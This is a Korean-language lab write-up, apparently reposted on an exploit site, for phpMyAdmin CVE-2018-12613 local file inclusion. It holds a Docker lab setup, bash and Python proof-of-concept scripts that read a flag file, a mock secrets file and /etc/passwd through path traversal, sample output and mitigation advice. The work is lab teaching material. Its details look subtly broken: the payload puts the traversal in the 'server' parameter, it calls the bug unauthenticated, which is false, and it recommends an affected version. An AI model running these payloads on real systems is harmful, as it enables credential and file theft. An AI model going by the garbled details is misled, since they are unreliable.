Exploit for Improper Authentication in Phpmyadmin CVE-2018-12613

Name: Exploit for Improper Authentication in Phpmyadmin CVE-2018-12613
Rating: 5 (4 reviews)
2026-07-08 | CVSS 8.8
## https://sploitus.com/exploit?id=71F463A5-3475-5C71-B7DE-A83130753048
# phpMyAdmin-CVE-2018-12613

## 1. 취약점 요약

| 항목 | 내용 |
|---|---|
| **CVE** | CVE-2018-12613 |
| **제품** | phpMyAdmin 4.8.0 이하 |
| **취약점 유형** | Local File Inclusion (LFI) — 경로 검증 부족 |
| **CVSS 점수** | 8.8 (High) |
| **영향 범위** | 민감한 설정 파일, 소스코드, 시스템 파일 노출 → 인증정보 유출 → 추가 공격으로 이어질 수 있음 |
| **인증 필요** | 불필요 (누구나 접근 가능) |
| **원격 공격** | 가능 |

### 원인
phpMyAdmin의 `index.php`에서 `target` 파라미터가 **경로 검증을 하지 않아**, 상대 경로(`../../../`)를 이용하면 서버의 임의 파일에 접근할 수 있습니다.

---

## 2. 환경 구성

### 사전 요구사항
- Docker & Docker Compose 설치
- 터미널/터미널 (Linux/Mac) 또는 Windows Terminal/WSL2 (Windows)
- 8GB 이상 여유 디스크 공간

### 사용 기술 스택

| 컴포넌트 | 버전 | 역할 |
|---|---|---|
| **phpMyAdmin** | 4.8.0 | 취약한 버전의 MySQL 관리 도구 |
| **MySQL** | 5.7 | 데이터베이스 (phpMyAdmin 연동) |
| **Docker** | 최신 | 컨테이너 오케스트레이션 |

### 구조

```
localhost:8080 (phpMyAdmin Web UI)
       ↓
   MySQL 5.7
   (3306 포트)
```

---

## 3. 취약 조건

다음 조건이 **모두** 만족되어야 취약점이 발생합니다.

1. **phpMyAdmin 4.8.0 이하 버전 사용** ✓ (이 환경에서 4.8.0 사용)
2. **HTTP 접근 가능** ✓ (포트 8080 공개)
3. **target 파라미터 경로 검증 부재** ✓ (index.php에서 input sanitization 미흡)
4. **포함할 파일이 웹 서버 디렉터리 내에 있거나, PHP include 함수가 상대 경로 포함 지원** ✓

### 어떻게 되는가
공격자가 `http://localhost:8080/index.php?target=db_structure.php&server=../../../flag.txt` 처럼 요청하면, phpMyAdmin이 검증 없이 경로를 해석해서 **웹 루트 외부의 파일**도 포함할 수 있게 됩니다.

---

## 4. 재현 절차

### Step 1: 레포지토리에서 폴더 다운로드 또는 생성

```bash
mkdir -p phpMyAdmin/CVE-2018-12613
cd phpMyAdmin/CVE-2018-12613
```

### Step 2: 파일 생성

이 디렉터리에 다음 파일을 생성합니다:

#### 2-1. docker-compose.yml

```yaml
version: '3.8'

services:
  mysql:
    image: mysql:5.7
    container_name: phpmyadmin-mysql
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: testdb
      MYSQL_USER: testuser
      MYSQL_PASSWORD: testpass
    ports:
      - "3306:3306"
    volumes:
      - mysql_data:/var/lib/mysql
    networks:
      - phpmyadmin_net
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      timeout: 5s
      retries: 10

  phpmyadmin:
    image: phpmyadmin:4.8.0
    container_name: phpmyadmin-app
    environment:
      PMA_HOST: mysql
      PMA_USER: root
      PMA_PASSWORD: root123
      PMA_PORT: 3306
    ports:
      - "8080:80"
    depends_on:
      mysql:
        condition: service_healthy
    networks:
      - phpmyadmin_net
    volumes:
      - ./flag.txt:/var/www/html/flag.txt
      - ./secret.conf:/var/www/html/secret.conf

volumes:
  mysql_data:

networks:
  phpmyadmin_net:
```

#### 2-2. flag.txt

```
FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}
```

#### 2-3. secret.conf

```
DB_HOST=mysql
DB_USER=admin
DB_PASS=Sup3rS3cretP@ssw0rd
DB_NAME=sensitive_db
API_KEY=sk-1234567890abcdefghij
SECRET_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```

#### 2-4. poc.sh 또는 poc.py

(아래 PoC 섹션 참조)

### Step 3: 환경 시작

```bash
docker compose up -d
```

출력:
```
[+] Running 2/2
 ✓ Network phpmyadmin_net Created
 ✓ Volume "phpmyadmin_mysql_data" Created
 ✓ Container phpmyadmin-mysql Created
 ✓ Container phpmyadmin-app Created
```

### Step 4: 서비스 정상 확인 (30초 정도 대기)

```bash
sleep 30 && curl http://localhost:8080 | head -20
```

phpMyAdmin 로그인 페이지가 출력되면 정상입니다.

### Step 5: PoC 실행

#### 방법 1: bash 스크립트 (간단함)

```bash
chmod +x poc.sh
./poc.sh
```

#### 방법 2: Python (더 자세함)

```bash
python3 poc.py http://localhost:8080
```

---

## 5. PoC 코드

### 5.1 bash 버전 (poc.sh)

```bash
#!/bin/bash

TARGET="http://localhost:8080"

echo "phpMyAdmin CVE-2018-12613 LFI PoC"
echo "===================================="
echo ""

# flag.txt 읽기
echo "[*] flag.txt 읽기 시도..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../flag.txt" | head -20

echo ""
echo "[*] secret.conf 읽기 시도..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../secret.conf" | head -20

echo ""
echo "[*] /etc/passwd 읽기 시도..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../etc/passwd" | head -5
```

### 5.2 Python 버전 (poc.py)

```python
#!/usr/bin/env python3
import requests
import time

class PhpMyAdminLFI:
    def __init__(self, target_url="http://localhost:8080"):
        self.target = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
    
    def wait_for_service(self, max_wait=30):
        """서비스 시작 대기"""
        print(f"[*] {self.target} 서비스 시작 대기 중...")
        for i in range(max_wait):
            try:
                resp = self.session.get(self.target, timeout=5)
                if 'phpMyAdmin' in resp.text:
                    print("✓ phpMyAdmin 정상 동작")
                    return True
            except:
                pass
            print(".", end="", flush=True)
            time.sleep(1)
        print("\n⚠ 타임아웃")
        return False
    
    def read_file(self, filepath):
        """LFI를 이용해 임의 파일 읽기"""
        url = f"{self.target}/index.php?target=db_structure.php&server={filepath}"
        try:
            resp = self.session.get(url, timeout=5)
            return resp.text if resp.status_code == 200 else None
        except:
            return None
    
    def exploit(self):
        print("=" * 60)
        print("phpMyAdmin CVE-2018-12613 LFI PoC")
        print("=" * 60)
        print()
        
        if not self.wait_for_service():
            return False
        
        print()
        print("-" * 60)
        print("[Test 1] flag.txt 읽기")
        print("-" * 60)
        result = self.read_file("../../../flag.txt")
        if result and "FLAG{" in result:
            print("✓ 플래그 획득!")
            for line in result.split('\n')[:3]:
                if line.strip():
                    print(f"  {line}")
        
        print()
        print("-" * 60)
        print("[Test 2] secret.conf 읽기")
        print("-" * 60)
        result = self.read_file("../../../secret.conf")
        if result and "DB_PASS" in result:
            print("✓ 민감한 설정 정보 노출!")
            for line in result.split('\n')[:5]:
                if line.strip() and not line.startswith('#'):
                    print(f"  {line}")
        
        print()
        print("-" * 60)
        print("[Test 3] /etc/passwd 읽기")
        print("-" * 60)
        result = self.read_file("../../../etc/passwd")
        if result and "root:" in result:
            print("✓ 시스템 파일 접근 성공!")
            print("  " + result.split('\n')[0])
        
        print()

if __name__ == "__main__":
    exploit = PhpMyAdminLFI()
    exploit.exploit()
```

---

## 6. 실행 결과

### 정상 실행 예상 출력

#### bash 버전

```bash
$ ./poc.sh

phpMyAdmin CVE-2018-12613 LFI PoC
====================================

[*] flag.txt 읽기 시도...
FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}

[*] secret.conf 읽기 시도...
# 민감한 설정 정보
DB_HOST=mysql
DB_USER=admin
DB_PASS=Sup3rS3cretP@ssw0rd
DB_NAME=sensitive_db
API_KEY=sk-1234567890abcdefghij

[*] /etc/passwd 읽기 시도...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

#### Python 버전

```
============================================================
phpMyAdmin CVE-2018-12613 LFI PoC
============================================================

[*] http://localhost:8080 서비스 시작 대기 중...
✓ phpMyAdmin 정상 동작

------------------------------------------------------------
[Test 1] flag.txt 읽기
------------------------------------------------------------
✓ 플래그 획득!
  FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}

------------------------------------------------------------
[Test 2] secret.conf 읽기
------------------------------------------------------------
✓ 민감한 설정 정보 노출!
  DB_HOST=mysql
  DB_USER=admin
  DB_PASS=Sup3rS3cretP@ssw0rd
  DB_NAME=sensitive_db
  API_KEY=sk-1234567890abcdefghij

------------------------------------------------------------
[Test 3] /etc/passwd 읽기
------------------------------------------------------------
✓ 시스템 파일 접근 성공!
  root:x:0:0:root:/root:/bin/bash
```

### 결과 해석

| 항목 | 의미 |
|---|---|
| **flag.txt 획득** | ✓ LFI 취약점으로 임의 파일 읽기 성공 |
| **secret.conf 노출** | ✓ 데이터베이스 비밀번호, API 키 등 민감 정보 노출 |
| **/etc/passwd 접근** | ✓ 시스템 파일 접근 가능 → 추가 공격 벡터 제공 |

---

## 7. 대응 방안

### 7.1 즉시 조치 (긴급)

1. **phpMyAdmin 업그레이드**
   ```bash
   # 4.8.1 이상으로 업그레이드
   docker pull phpmyadmin:4.9.0  # 또는 최신 버전
   ```

2. **웹 서버 접근 제한**
   ```bash
   # nginx 예시
   location /phpmyadmin {
       allow 192.168.1.0/24;  # 내부 네트워크만 허용
       deny all;
   }
   ```

3. **HTTP 비활성화, HTTPS 강제**
   ```dockerfile
   # docker-compose.yml에서
   ports:
     - "443:443"  # HTTPS만 사용
   ```

### 7.2 근본적 해결 (권장)

#### 방법 1: 최신 버전으로 업그레이드

**docker-compose.yml 수정:**
```yaml
phpmyadmin:
  image: phpmyadmin:4.9.7  # 또는 최신 안정 버전
  # 나머지는 동일
```

```bash
docker compose up -d --force-recreate
```

#### 방법 2: 경로 검증 로직 추가 (완화)

phpMyAdmin 소스코드 수정이 필요하다면, `index.php`에 다음과 같은 검증 추가:

```php
// index.php 내부
$target = $_GET['target'] ?? 'db_structure.php';

// 경로 정규화 및 검증
$target = str_replace('..', '', $target);  // ../ 제거
$target = basename($target);  // 디렉터리 순회 방지

// 허용 목록 확인
$allowed = ['db_structure.php', 'db_events.php', 'db_routines.php'];
if (!in_array($target, $allowed)) {
    die('Invalid target');
}
```

### 7.3 심화 대응 (보안 강화)

1. **입력 검증 강화**
   - 화이트리스트 기반 필터링 (권장)
   - 정규식으로 파일명 제한: `/^[a-z_]+\.php$/`

2. **접근 제어**
   ```apache
   # Apache .htaccess
   
       Order allow,deny
       Allow from 127.0.0.1
       Allow from 192.168.1.0/24
   
   ```

3. **보안 헤더 추가**
   ```nginx
   add_header X-Frame-Options "SAMEORIGIN";
   add_header X-Content-Type-Options "nosniff";
   add_header X-XSS-Protection "1; mode=block";
   ```

4. **로깅 및 감시**
   ```bash
   # 의심 요청 탐지
   grep -r '\.\.\/' /var/log/apache2/access.log
   ```

---

## 8. 오늘 배운 도커 강의와의 연결

### 오늘 강의 핵심 내용과 이 CVE의 관계

| 강의 내용 | 이 CVE 적용 |
|---|---|
| **입력값 검증 부재** | target 파라미터가 사용자 입력 검증 없이 PHP include에 전달됨 |
| **권한 최소화 (Least Privilege)** | phpMyAdmin 컨테이너가 불필요한 파일에까지 접근 가능 |
| **웹서버 격리** | 웹 루트 외부 파일 접근으로 인한 격리 실패 |
| **시크릿 관리** | DB 비밀번호가 설정 파일에 평문으로 저장되어 LFI로 노출 |

### Docker 보안 적용 방안

이 환경을 더 안전하게 만들려면:

```dockerfile
FROM phpmyadmin:4.9.7  # 최신 버전 사용

# 불필요한 파일 제거
RUN rm -rf /var/www/html/libraries/phpseclib

# 읽기 전용 루트 FS 설정 (docker-compose 수정 필요)
RUN chmod 750 /var/www/html

# non-root 사용자로 실행
USER www-data

# 불필요한 capability 제거
# (docker-compose에서 --cap-drop=ALL 설정)
```

**docker-compose.yml 개선:**
```yaml
phpmyadmin:
  image: phpmyadmin:4.9.7
  read_only: true
  cap_drop:
    - ALL
  cap_add:
    - NET_BIND_SERVICE
  environment:
    PMA_ABSOLUTE_URI: "https://yourhost/phpmyadmin/"  # 절대 경로 지정
```

---

## 9. 참고 자료

- [CVE-2018-12613 상세 정보](https://nvd.nist.gov/vuln/detail/CVE-2018-12613)
- [phpMyAdmin 공식 보안 공지](https://www.phpmyadmin.net/security/)
- [원본 Vulhub 레포 phpMyAdmin 항목](https://github.com/vulhub/vulhub/tree/master/phpmyadmin)
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal

---

## 10. 환경 정리

```bash
# 컨테이너 중지
docker compose down

# 데이터 완전 삭제 (선택)
docker volume rm phpmyadmin-cve_mysql_data
```

---

## 요약

| 항목 | 내용 |
|---|---|
| **CVE** | CVE-2018-12613 |
| **제품** | phpMyAdmin 4.8.0 이하 |
| **유형** | Local File Inclusion (LFI) |
| **원인** | target 파라미터의 경로 검증 부족 |
| **영향** | 민감한 파일·설정 정보 노출 → 추가 공격 가능 |
| **대응** | 최신 버전 업그레이드 + 입력 검증 + 접근 제어 |
| **Reproducibility** | 100% (완전 재현 가능) |
| **Risk Score** | 8.8 / 10.0 (High) |

---